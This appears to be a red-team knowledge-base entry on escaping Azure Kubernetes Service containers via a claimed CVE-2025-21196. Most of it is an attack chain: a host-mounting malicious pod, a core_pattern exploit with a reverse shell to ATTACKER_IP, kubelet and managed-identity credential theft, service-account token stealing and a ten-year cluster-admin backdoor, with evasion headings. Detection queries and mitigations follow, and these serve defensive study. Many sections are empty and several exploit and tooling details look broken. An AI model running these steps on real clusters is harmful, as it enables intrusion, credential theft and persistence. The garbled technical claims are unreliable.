MCADDF

[PE-EXPLOIT-008]: AKS Container Escape (CVE-2025-21196)

Metadata

Attribute Details
Technique ID PE-EXPLOIT-008
MITRE ATT&CK v18.1 T1611 - Escape to Host
Tactic Privilege Escalation
Platforms Entra ID / Azure Kubernetes Service (AKS)
Severity Critical
CVE CVE-2025-21196
Technique Status ACTIVE
Last Verified 2026-01-09
Affected Versions AKS 1.25.0 - 1.28.3 (at time of disclosure); runC-based runtimes (containerd, Docker)
Patched In AKS 1.28.4+; runC 1.1.12+ (for related runc CVEs: 31133, 52565, 52881)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: CVE-2025-21196 is a critical container escape vulnerability in Azure Kubernetes Service (AKS) affecting clusters running Kubernetes versions 1.25.0 through 1.28.3. The vulnerability stems from misconfiguration in the container orchestration layer, allowing attackers with command execution inside a pod to escape container isolation, gain access to the underlying node, and subsequently pivot to cluster-wide compromise. An attacker can exploit this by leveraging either misconfigured pod security contexts, vulnerable runC versions (CVE-2025-31133, CVE-2025-52565, CVE-2025-52881), or access to sensitive metadata endpoints (WireServer) within AKS infrastructure to extract bootstrap tokens and kubelet credentials.

Attack Surface: The primary attack surfaces include:

Business Impact: Catastrophic data breach, complete cluster takeover, and lateral movement into Azure subscriptions. A successful container escape enables attackers to: (1) exfiltrate all secrets stored in the Kubernetes cluster, including database credentials and API keys; (2) deploy cryptominers or ransomware across all nodes; (3) move laterally into Azure resources via compromised managed identities; (4) modify or delete critical workloads; (5) establish persistent backdoors for long-term access.

Technical Context: Container escape from AKS can typically be achieved in under 10 minutes once initial pod access is obtained. The exploit chain follows: Pod RCE → Container Escape (via runC/kernel vuln) → Node Access → Bootstrap Token Extraction → Cluster Admin Escalation via Trampoline Pods. Detection likelihood is high if Pod Security Standards and runtime monitoring are enabled, but low if misconfigured RBAC and permissive policies exist.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS Kubernetes 4.1.1, 4.2.1 Containers should run as non-root; privileged pod execution should be restricted
DISA STIG V-254801 Kubernetes must prevent privileged containers
CISA SCuBA K8S-01 Pod Security Standards must enforce baseline or restricted policies
NIST 800-53 AC-3, SI-7 Access enforcement and information system monitoring
GDPR Art. 32 Security of processing - appropriate technical measures for encryption and access control
DORA Art. 9, Art. 16 Protection and prevention measures; incident management and reporting
NIS2 Art. 21 Cyber risk management measures for critical infrastructure operators
ISO 27001 A.9.2.3, A.12.2.3 Management of privileged access rights; logging and monitoring
ISO 27005 Risk Scenario - Compromise of Containerized Infrastructure Unauthorized access to container orchestration platform leading to data breach

3. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

# Step 1: Check if you have kubectl access to the AKS cluster
kubectl cluster-info

What to Look For:

# Step 2: Check current pod's service account permissions
kubectl auth can-i --list

# Step 3: Check if your pod can create other pods or access secrets
kubectl auth can-i create pods --all-namespaces
kubectl auth can-i get secrets --all-namespaces

What to Look For:

Version Note: Commands are identical across Kubernetes 1.25-1.28. Behavior may differ in 1.29+ due to Pod Security Admission improvements.

Linux/Bash / Pod Reconnaissance

# Step 1: Identify the container runtime version
kubectl version --short
kubeadm version 2>/dev/null || echo "Not a control plane node"

What to Look For:

# Step 2: Check if pod has NET_RAW or SYS_ADMIN capabilities
# From inside pod:
cat /proc/self/status | grep Cap

# Decode capabilities (Hex to binary)
# Example: CapEff: 00000000a80425fb
# This indicates CAP_SYS_ADMIN, CAP_NET_RAW, CAP_SYS_RESOURCE are present

What to Look For:

# Step 3: Check access to WireServer endpoint (AKS-specific)
# From inside pod:
curl -H "Metadata:true" "http://168.63.129.16/metadata/endpoints?api-version=2017-12-01"

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1: Container Escape via runC Vulnerability (CVE-2025-31133)

Supported Versions: AKS 1.25.0 - 1.28.3 (runC < 1.1.12)

Step 1: Gain Initial Pod Access

Objective: Establish command execution inside a vulnerable AKS pod.

Command (Attacker’s Perspective - Deployment YAML):

apiVersion: v1
kind: Pod
metadata:
  name: malicious-pod
  namespace: default
spec:
  serviceAccountName: default
  containers:
  - name: escape-container
    image: ubuntu:22.04  # Benign image; actual payload injected
    command: ["/bin/bash", "-c", "sleep infinity"]
    volumeMounts:
    - name: host-root
      mountPath: /host-root
      readOnly: false
    securityContext:
      privileged: false  # Initially unprivileged
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory

Execution Command:

kubectl apply -f malicious-pod.yaml
kubectl exec -it malicious-pod -- /bin/bash

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Exploit runC Vulnerability (CVE-2025-31133)

Objective: Escape container and gain host root access via masked paths abuse.

Command (Inside Container):

#!/bin/bash
# CVE-2025-31133 exploit: Replace /dev/null with symlink to attacker-controlled file
# This allows runc to bind-mount arbitrary host paths into container

# Step 2a: Prepare exploit
cd /tmp
mkdir -p exploit
cd exploit

# Step 2b: Create symlink replacing /dev/null
# This causes runc to mount an attacker-controlled /proc/sys/kernel/core_pattern file
ln -sf /proc/sys/kernel/core_pattern /dev/null

# Step 2c: Trigger runc to execute inside container (simulated via kubectl exec)
# From attacker's control station:
# kubectl exec -it malicious-pod -- /bin/bash -c 'exploit_code'

# Step 2d: Overwrite kernel core_pattern to execute payload as root
echo '|/tmp/payload.sh' > /proc/sys/kernel/core_pattern

# Step 2e: Trigger core dump (causes payload execution as root)
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &'
# Simultaneously send SIGSEGV to force core dump
kill -SEGV $$

Expected Output:

# On attacker's listener (nc -nlvp 4444):
# Connection from pod indicates root shell access on host
bash-5.1# id
uid=0(root) gid=0(root) groups=0(root)
bash-5.1# hostname
aks-nodepool-12345-vmss000001

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Extract Kubelet Credentials

Objective: Access kubelet’s TLS certificate and bootstrap token to authenticate to Kubernetes API.

Command (As root on node):

# Step 3a: Locate kubelet kubeconfig
ls -la /var/lib/kubelet/kubeconfig.yaml

# Step 3b: Extract kubelet certificate
cat /var/lib/kubelet/kubeconfig.yaml

Expected Output:

apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: LS0tLS1CRUdJ... # Base64-encoded CA cert
    server: https://10.0.0.1:6443
  name: aks-cluster
contexts:
- context:
    cluster: aks-cluster
    user: kubelet
  name: default
current-context: default
kind: Config
preferences: {}
users:
- name: kubelet
  user:
    client-certificate-data: LS0tLS1CRUdJ... # Kubelet client cert
    client-key-data: LS0tLS1CRUdJ... # Kubelet private key

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 4: Query WireServer for Managed Identity Token

Objective: Extract Azure Managed Identity credentials to pivot into Azure subscription.

Command (As root on node):

# Step 4a: Query WireServer endpoint
curl -s -H "Metadata:true" "http://168.63.129.16/metadata/endpoints?api-version=2017-12-01" | jq .

# Step 4b: Extract wireserver.key (used to decrypt provisioning script)
# WireServer response contains encrypted settings
# Attempt to decrypt using known Azure keys (if available)

# Step 4c: Query IMDS for managed identity token
curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" \
  | jq .

Expected Output:

{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...",
  "token_type": "Bearer",
  "expires_in": 3599
}

What This Means:

OpSec & Evasion:

Troubleshooting:

METHOD 2: Pod-to-Node Escalation via Trampoline Pods

Supported Versions: All AKS versions (1.25+)

Step 1: Identify Trampoline Pods with Powerful Permissions

Objective: Find DaemonSet or deployment pod with cluster-admin or escalate permissions.

Command (From compromised pod with kubectl access):

# Step 1a: List all service accounts and their permissions
for sa in $(kubectl get sa -A -o name); do
  echo "Checking $sa:"
  kubectl auth can-i --as=$sa '*' '*' --all-namespaces 2>/dev/null | grep yes
done

# Step 1b: Identify DaemonSet pods (typically run on every node)
kubectl get daemonsets -A -o wide

# Step 1c: Identify service account attached to each DaemonSet
kubectl get daemonsets -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.template.spec.serviceAccountName}{"\n"}{end}'

Expected Output:

kube-system     coredns-autoscaler     default
kube-system     azure-cni              azure-cni
kube-system     cilium                 cilium-operator
kube-system     kube-proxy             kube-proxy

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Abuse Trampoline Pod to Escalate to Cluster-Admin

Objective: Extract service account token from trampoline pod and use it for cluster-admin operations.

Command (Assuming cilium-operator is a trampoline pod):

# Step 2a: From your compromised pod, create a pod in kube-system namespace that shares host network
# This allows accessing other pods' service account tokens
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: trampoline-abuse
  namespace: kube-system
spec:
  serviceAccountName: default
  hostNetwork: true  # Key: share host network to access pod metadata
  containers:
  - name: abuse
    image: alpine:latest
    command: 
    - sh
    - -c
    - |
      # Mount host filesystem
      mount -o bind / /mnt/host
      # List service account tokens from cilium-operator pods
      ls -la /mnt/host/var/lib/kubelet/pods/*/volumes/kubernetes.io~projected/*/TOKEN
      # Copy cilium-operator token
      cp /mnt/host/var/lib/kubelet/pods/CILIUM_POD_ID/volumes/kubernetes.io~projected/*/TOKEN /tmp/cilium-token
      # Authenticate as cilium-operator
      export KUBECONFIG=/tmp/kubeconfig-cilium
      kubectl config set-cluster aks --server=https://10.0.0.1:6443 --certificate-authority=/mnt/host/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
      kubectl config set-credentials cilium --token=$(cat /tmp/cilium-token)
      kubectl config set-context default --cluster=aks --user=cilium
      kubectl config use-context default
      # Now check cilium's permissions
      kubectl auth can-i '*' '*' --all-namespaces
      # If yes, escalate role
      kubectl edit clusterrole cilium-operator  # Add cluster-admin permissions
    volumeMounts:
    - name: host-fs
      mountPath: /mnt/host
  volumes:
  - name: host-fs
    hostPath:
      path: /
      type: Directory
EOF

kubectl wait --for=condition=ready pod/trampoline-abuse -n kube-system --timeout=30s
kubectl logs -n kube-system trampoline-abuse

Expected Output:

yes  # cilium-operator can escalate roles
# Cluster role binding updated

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Create Backdoor via Service Principal Certificate

Objective: Establish persistent cluster access by creating a new service account with cluster-admin permissions.

Command (Using cilium-operator token):

# Step 3a: Create new ClusterRole with all permissions
kubectl create clusterrole attacker-admin --verb='*' --resource='*'

# Step 3b: Create new service account
kubectl create serviceaccount attacker-sa -n kube-system

# Step 3c: Bind service account to cluster-admin role
kubectl create clusterrolebinding attacker-admin-binding \
  --clusterrole=cluster-admin \
  --serviceaccount=kube-system:attacker-sa

# Step 3d: Extract token (persistent access key)
kubectl create token attacker-sa -n kube-system --duration=87600h

Expected Output:

token: eyJhbGciOiJSUzI1NiIsImtpZCI6IkJfRW1kZEZVRVBqS...
# This token is valid for 10 years and has cluster-admin permissions

What This Means:

OpSec & Evasion:

Troubleshooting:


6. TOOLS & COMMANDS REFERENCE

kubectl

Version: 1.28+ Minimum Version: 1.20+ Supported Platforms: Linux, macOS, Windows

Installation:

# Linux
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl
sudo mv kubectl /usr/local/bin/

# Verify
kubectl version --client

Usage:

# Authenticate to AKS cluster
az aks get-credentials --resource-group myResourceGroup --name myAKSCluster

# Verify access
kubectl cluster-info

# Run command in pod
kubectl exec -it <pod-name> -- /bin/bash

Azure CLI

Version: 2.40+ Purpose: Manage AKS clusters and extract credentials

Installation:

# macOS
brew install azure-cli

# Linux
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

# Verify
az --version

Usage:

# Login to Azure
az login

# Get AKS credentials
az aks get-credentials --resource-group myRG --name myCluster

# Query managed identities
az identity list --query "[].{name:name, principalId:principalId}"

crictl (Container Runtime Interface Debug Tool)

Version: Latest Purpose: Debug container runtime (containerd) and extract container metadata

Installation:

# Download crictl
VERSION="v1.31.0"
wget https://github.com/kubernetes-sigs/cri-tools/releases/download/$VERSION/crictl-$VERSION-linux-amd64.tar.gz
tar zxvf crictl-$VERSION-linux-amd64.tar.gz
sudo mv crictl /usr/local/bin/

Usage (from node with root access):

# List all running containers
crictl ps

# Inspect container
crictl inspect <container-id>

# Extract container's environment variables
crictl exec <container-id> env

7. MICROSOFT SENTINEL DETECTION

Query 1: Detect Pod Privilege Escalation Attempt

Rule Configuration:

KQL Query:

let timeframe = 5m;
KubeletAudit
| where TimeGenerated >= ago(timeframe)
| where verb in ("create", "update") and objectRef.kind == "Pod"
| where tostring(requestObject.spec.securityContext.privileged) == "true" 
    or tostring(requestObject.spec.securityContext.hostPID) == "true"
    or tostring(requestObject.spec.securityContext.hostNetwork) == "true"
    or tostring(requestObject.spec.securityContext.hostIPC) == "true"
| where user.username !in ("system:kube-controller-manager", "system:kube-scheduler")  // Exclude system accounts
| project 
    TimeGenerated,
    user_username=user.username,
    pod_name=objectRef.name,
    namespace=objectRef.namespace,
    privileged=requestObject.spec.securityContext.privileged,
    hostPID=requestObject.spec.securityContext.hostPID,
    verb
| order by TimeGenerated desc

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Detect Privileged Pod Creation in AKS
    • Severity: High
    • Description: Detects attempts to create pods with privileged security contexts that could enable container escape
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
    • Grouping: Group all alerts into a single incident
  7. Click Review + create

Manual Configuration Steps (PowerShell):

# Connect to Sentinel workspace
$ResourceGroup = "myResourceGroup"
$WorkspaceName = "mySentinelWorkspace"

# Create the analytics rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
  -DisplayName "Detect Privileged Pod Creation in AKS" `
  -Query @"
let timeframe = 5m;
KubeletAudit
| where TimeGenerated >= ago(timeframe)
| where verb in ("create", "update") and objectRef.kind == "Pod"
| where tostring(requestObject.spec.securityContext.privileged) == "true" 
    or tostring(requestObject.spec.securityContext.hostPID) == "true"
    or tostring(requestObject.spec.securityContext.hostNetwork) == "true"
    or tostring(requestObject.spec.securityContext.hostIPC) == "true"
| where user.username !in ("system:kube-controller-manager", "system:kube-scheduler")
| project 
    TimeGenerated,
    user_username=user.username,
    pod_name=objectRef.name,
    namespace=objectRef.namespace,
    privileged=requestObject.spec.securityContext.privileged,
    hostPID=requestObject.spec.securityContext.hostPID,
    verb
| order by TimeGenerated desc
"@ `
  -Severity "High" `
  -Enabled $true `
  -ScheduleInterval (New-TimeSpan -Minutes 5) `
  -ScheduleThreshold 1

Query 2: Detect Service Account Token Extraction

Rule Configuration:

KQL Query:

let timeframe = 1m;
AKSAudit
| where TimeGenerated >= ago(timeframe)
| where verb == "get" and objectRef.kind == "Secret"
| where objectRef.name contains "token" or objectRef.name endswith "-token"
| where responseStatus.code != 403  // Successful request
| project
    TimeGenerated,
    user_username=user.username,
    secret_name=objectRef.name,
    namespace=objectRef.namespace,
    sourceIPs=sourceIPs
| where user_username !in ("system:kube-proxy", "system:kubelet")
| order by TimeGenerated desc

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft SentinelAnalytics
  2. Click + CreateScheduled query rule
  3. General Tab:
    • Name: Detect Service Account Token Extraction from AKS
    • Severity: Critical
  4. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 1 minute
    • Lookup data from the last: 30 minutes
  5. Incident settings Tab:
    • Enable Create incidents
  6. Click Review + create

8. WINDOWS EVENT LOG MONITORING

Event ID: 10 (Process accessed)

Event ID: 23 (File created)

Note: Most AKS deployments use Linux nodes. Windows node monitoring requires Sysmon deployment on each Windows node via custom script extensions.

Manual Configuration Steps (Group Policy - for Windows nodes only):

  1. Open Group Policy Management Console (gpmc.msc) on Domain Controller
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy Configuration
  3. Expand System Audit PoliciesObject Access
  4. Enable: Audit File System (Success and Failure)
  5. Run gpupdate /force on Windows AKS nodes

9. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Linux (via osquery integration), Windows (native)

<!-- Sysmon Config: Detect Container Escape Indicators -->
<Sysmon schemaversion="4.23">
  <!-- Capture process creation with NET_RAW or kernel capabilities -->
  <ProcessCreate onmatch="include">
    <CommandLine condition="contains">execve</CommandLine>
    <CommandLine condition="contains">CAP_SYS</CommandLine>
  </ProcessCreate>
  
  <!-- Detect file writes to /proc/sys/kernel/core_pattern (CVE-2025-31133 indicator) -->
  <FileCreate onmatch="include">
    <TargetFilename condition="contains">/proc/sys/kernel/core_pattern</TargetFilename>
  </FileCreate>
  
  <!-- Detect suspicious mount operations -->
  <ProcessCreate onmatch="include">
    <CommandLine condition="contains">mount</CommandLine>
    <CommandLine condition="contains">/proc</CommandLine>
  </ProcessCreate>
  
  <!-- Detect symlink creation to sensitive files -->
  <FileCreate onmatch="include">
    <TargetFilename condition="contains">/dev/null</TargetFilename>
  </FileCreate>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create a config file sysmon-config.xml with the XML above
  3. Install Sysmon on AKS worker nodes (via DaemonSet):
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: sysmon-ds
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: sysmon
  template:
    metadata:
      labels:
        name: sysmon
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: sysmon
        image: sysmon:latest
        volumeMounts:
        - name: host-root
          mountPath: /
        securityContext:
          privileged: true
      volumes:
      - name: host-root
        hostPath:
          path: /
  1. Verify installation:
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10

10. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Suspicious Privileged Pod Detected

Alert Name: “Suspicious pod with privileged settings detected on Kubernetes cluster”

Detection Alert: Suspicious Activity Inside Container

Alert Name: “Container running an interactive command shell”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Identity: ON
    • Defender for Containers: ON (includes AKS workload protection)
  5. Click Save
  6. Go to Security alertsKubernetes to view triggered alerts

11. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check if cluster is patched
kubectl version --short | grep -oP 'Server: v\K[0-9]+\.[0-9]+\.[0-9]+'
# Expected output: 1.28.4 or higher

# Verify Pod Security Standards are enforced
kubectl get namespace -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.metadata.labels.pod-security\.kubernetes\.io/enforce}{"\n"}{end}'
# Expected output: restricted policy on non-system namespaces

# Check if NET_RAW is dropped
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[*].securityContext.capabilities.drop}{"\n"}{end}'
# Expected output: NET_RAW in drop list

What to Look For:


12. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:

    Command (kubectl):

    # Taint the compromised node to prevent new pods
    kubectl taint nodes <node-name> compromised=true:NoExecute
       
    # Drain existing pods
    kubectl drain <node-name> --ignore-daemonsets --delete-emptydir-data
    

    Manual (Azure Portal):

    • Go to Virtual Machine Scale Sets → Select AKS node scale set
    • Instances → Select affected instance → Delete
  2. Collect Evidence:

    Command:

    # Export kubelet logs
    kubectl logs -n kube-system <kubelet-pod> > /tmp/kubelet-logs.txt
       
    # Export AKS audit logs
    az monitor log-analytics query \
      --workspace myWorkspace \
      --query "AKSAudit | where TimeGenerated >= ago(24h) | where node_name == 'affected-node'"
       
    # Dump node filesystem for forensics (requires SSH to node)
    ssh -i ~/.ssh/id_rsa azureuser@<node-ip>
    sudo tar -czf /tmp/node-forensics.tar.gz /var/lib/kubelet /var/log/pods
    
  3. Remediate:

    Command:

    # Delete all pods from compromised node
    kubectl delete pods --all --all-namespaces --field-selector spec.nodeName=<node-name>
       
    # Rotate all service account tokens
    kubectl delete secret -A --all  # Careful: deletes all secrets
    # Then redeploy workloads to regenerate secrets
       
    # Restart kubelet on node (if still online)
    ssh -i ~/.ssh/id_rsa azureuser@<node-ip>
    sudo systemctl restart kubelet
    

    Manual (Full Cluster Recovery):

    1. Backup current cluster state
    2. Delete AKS cluster: az aks delete --name myCluster --resource-group myRG
    3. Redeploy cluster from Infrastructure-as-Code
    4. Restore applications from trusted backup

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-005] AKS control plane access exploitation Attacker gains shell access in AKS pod via vulnerable application
2 Persistence [CA-DUMP-002] DCSync / [CA-TOKEN-013] AKS service account token theft Attacker extracts kubelet credentials for persistent access
3 Privilege Escalation [PE-EXPLOIT-008] AKS Container Escape (CVE-2025-21196) Attacker breaks out of container to node
4 Lateral Movement [PE-VALID-015] AKS Node Identity Compromise Attacker uses stolen managed identity to access Azure resources
5 Exfiltration [REALWORLD-043] SharePoint Metadata Exfiltration Attacker extracts secrets and data from cluster
6 Impact Ransomware deployment on all nodes; Cryptominer installation Business operations halted; Data encrypted or stolen

14. REAL-WORLD EXAMPLES

Example 1: Azure Data Factory Apache Airflow Breach (2024)

Example 2: NVIDIAScape Container Escape (CVE-2025-23266)

Example 3: TLS Bootstrap Token Extraction via WireServer (August 2024)


Conclusion & Recommendations

CVE-2025-21196 represents a critical vulnerability chain that enables rapid progression from initial pod access to full cluster and subscription compromise. Organizations running AKS clusters must immediately:

  1. Upgrade to patched Kubernetes versions (1.28.4+)
  2. Enforce Pod Security Standards at the restricted level
  3. Audit all ClusterRoleBindings for over-privileged service accounts
  4. Enable Microsoft Defender for Cloud and Microsoft Sentinel with AKS integration
  5. Implement network policies to restrict pod-to-pod communication
  6. Monitor for anomalous cluster API activity in real-time

Failure to address this vulnerability leaves entire organizations vulnerable to complete cluster takeover and data exfiltration within minutes.